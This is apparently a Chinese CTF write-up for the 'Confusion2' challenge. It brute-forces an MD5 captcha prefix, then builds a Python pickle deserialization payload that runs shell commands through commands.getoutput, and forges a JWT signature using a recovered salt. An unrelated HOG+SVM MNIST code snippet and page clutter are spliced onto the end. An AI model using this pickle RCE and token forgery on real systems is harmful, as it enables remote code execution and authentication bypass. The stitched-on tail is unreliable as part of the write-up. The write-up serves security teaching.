Confusion2(Python反序列化+JWT)

题目描述

Alice终于写完了他的网站, 当Alice和我说的时候,我发现有些奇怪的地方.
PS: Alice 说当她cooking的时候喜欢加salts。
hint1. sign = alg(header + payload + SALT).
hint2. Find SALT before Alice finished it.

一暴力破解验证码:

在登录和注册时都需要验证码

substr(md5('验证码'),0,6) === '52a20e'

将验证码进行md5加密,再取前六位,如果等于52a20e,则验证成功

两种破解的方法

(1):python脚本通过暴力枚举的方式尝试找到能生成指定 MD5 哈希前缀的原始字符串

import hashlib
import time
from string import ascii_lowercase, digits
from itertools import product

def crack_md5(target_hash_prefix, charset=ascii_lowercase + digits, max_length=8):
    """
    尝试破解MD5哈希前缀的函数
    
    参数:
    target_hash_prefix (str): 目标MD5哈希的前缀
    charset (str): 字符集,默认为小写字母和数字
    max_length (int): 最大尝试长度,默认为8
    
    返回:
    str: 找到的匹配字符串,如果未找到则返回None
    """
    start_time = time.time()
    prefix_length = len(target_hash_prefix)
    
    for length in range(1, max_length + 1):
        # 生成所有可能的字符组合
        for combination in product(charset, repeat=length):
            test_str = ''.join(combination)
            # 计算MD5哈希值
            md5_hash = hashlib.md5(test_str.encode('utf-8')).hexdigest()
            
            # 检查是否匹配目标前缀
            if md5_hash[:prefix_length] == target_hash_prefix:
                elapsed_time = time.time() - start_time
                print(f"找到匹配! 字符串: '{test_str}', MD5: {md5_hash}, 耗时: {elapsed_time:.2f}秒")
                return test_str
        
        print(f"已完成长度为{length}的所有组合,正在尝试更长的组合...")
    
    elapsed_time = time.time() - start_time
    print(f"未能找到匹配的字符串。搜索了长度从1到{max_length}的所有组合,耗时: {elapsed_time:.2f}秒")
    return None

if __name__ == "__main__":
    # 目标MD5前缀
    target_hash = '8719eb'
    print(f"开始破解MD5前缀: {target_hash}")
    
    # 尝试破解
    result = crack_md5(target_hash)
    
    if result:
        print(f"成功! 原始字符串是: '{result}'")
    else:
        print("失败! 未能找到匹配的字符串。")    

 暴力破解的关键:

for combination in product(charset, repeat=length):
            test_str = ''.join(combination)
            # 计算MD5哈希值
            md5_hash = hashlib.md5(test_str.encode('utf-8')).hexdigest()
            
            # 检查是否匹配目标前缀
            if md5_hash[:prefix_length] == target_hash_prefix:
                elapsed_time = time.time() - start_time
                print(f"找到匹配! 字符串: '{test_str}', MD5: {md5_hash}, 耗时: {elapsed_time:.2f}秒")
                return test_str

(2)MCollider爆破验证码

MCollider下载:https://github.com/MartinxMax/MCollider

二BP抓包

用BP抓包会发现:

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.

eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTc6XCIobHAxXG5WYWRtaW5cbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.

ZGE4MWQwMjMxMmE0N2QyYTNmYTg2N2I5OTEzMDNlOGJjMGExNWIxZjA4MTAxNWFlMGIwODczMDIxYmI5Z

这是加密的JWT(JSON Web Token)格式。这种编码通常用于身份验证和信息传输

在数据中有一段(lp1\nVadmin\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na."

漏洞点:

  1. pickle反序列化漏洞

    • Python的pickle模块允许反序列化对象,但反序列化不可信的输入可能导致代码执行漏洞。攻击者可以构造恶意的序列化字符串,使其在反序列化时执行任意代码。

    • 例如,攻击者可以构造一个序列化字符串,使其在反序列化时调用os.system来执行系统命令。

我们可以通过控制这段序列化字符串,在反序列化的时候执行命令拿到flag

import pickle
import commands
import json

class hack(object):
    def __reduce__(self):
        return (commands.getoutput, ('ls', ))

payload = pickle.dumps([hack(),hack()])
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]

print '{"data":"%s"}' %( data )
# 注意结果需要BASE64编码!
# 结果 {"data":"O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp0\nccommands\ngetoutput\np1\n(S'ls'\np2\ntp3\nRp4\nag1\ng3\nRp5\na.\";}"}
# BASE64:eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9

三构造签名

我们最后要将token全部替换掉,将上述构造的命令嵌入其中,这时我们需要构造JWT(JSON WEB Token),题目提示sign = alg(header + payload + SALT).alg表示加密

import hashlib

def Get_sign(header,payload,salt):
    return hashlib.sha256(header+'.'+payload+salt).hexdigest()

print Get_sign('eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0',
               'eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9',
               '_Y0uW1llN3verKn0w1t_')
# 把0001中LS命令PAYLOAD编码后的值拖到第二个参数里
# 签名结果:08a2ca6809f0c91db71a0bb56444274680b52a64ea9917f2592c9e4d39997a40
#BASE64:MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA

获取flag


import pickle
import commands
import json
import hashlib
import base64

CMD = 'ls /opt'

def Get_sign(header,payload,salt):
    return hashlib.sha256(header+'.'+payload+salt).hexdigest()

def base64_url_encode(text):
    return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')

class hack(object):
    def __reduce__(self):
        return (commands.getoutput, (CMD, ))

salt='_Y0uW1llN3verKn0w1t_'
header = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0' # base64
payload = pickle.dumps([hack(),hack()])
payload_data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]
payload = base64_url_encode('{"data":"%s"}' %( payload_data )) # base64
signature = base64_url_encode(Get_sign(header,payload,salt)) # base64
print header+'.'+payload+'.'+signature

 

### Python HOG+SVM MNIST 手写数字识别 示例代码 对于手写数字识别的任务,HOG(Histogram of Oriented Gradients)特征提取方法与支持向量机(SVM)相结合是一种常见的方式。下面展示一段完整的Python代码来实现这一过程。 #### 导入必要的库 ```python import numpy as np from skimage.feature import hog from sklearn.datasets import fetch_openml from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.svm import SVC from sklearn.metrics import accuracy_score, confusion_matrix import matplotlib.pyplot as plt ``` #### 加载并预处理数据集 ```python mnist = fetch_openml('mnist_784', version=1) X, y = mnist["data"], mnist["target"].astype(np.int8) # 数据标准化 scaler = StandardScaler() X_scaled = scaler.fit_transform(X) # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split( X_scaled, y, test_size=0.2, random_state=42) ``` #### 提取HOG特征 ```python hog_features_train = [] for image in X_train.reshape(-1, 28, 28): fd = hog(image, orientations=9, pixels_per_cell=(14, 14), cells_per_block=(1, 1), visualize=False) hog_features_train.append(fd) hog_features_train = np.array(hog_features_train) hog_features_test = [] for image in X_test.reshape(-1, 28, 28): fd = hog(image, orientations=9, pixels_per_cell=(14, 14), cells_per_block=(1, 1), visualize=False) hog_features_test.append(fd) hog_features_test = np.array(hog_features_test) ``` #### 训练SVM模型 ```python clf = SVC(kernel='linear') clf.fit(hog_features_train, y_train) ``` #### 测试模型性能 ```python predictions = clf.predict(hog_features_test) print(f'Accuracy: {accuracy_score(y_test, predictions)}') confusion_mat = confusion_matrix(y_test, predictions) plt.imshow(confusion_mat, interpolation='nearest', cmap=plt.cm.Blues) plt.title("Confusion matrix") plt.colorbar() tick_marks = np.arange(10) plt.xticks(tick_marks, range(10)) plt.yticks(tick_marks, range(10)) plt.ylabel('True label') plt.xlabel('Predicted label') plt.show() ``` 上述代码实现了利用HOG+SVM对手写数字进行分类的过程[^3]。通过这种方式可以获得较高的准确性,并且能够直观地查看混淆矩阵了解不同类别的预测情况。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值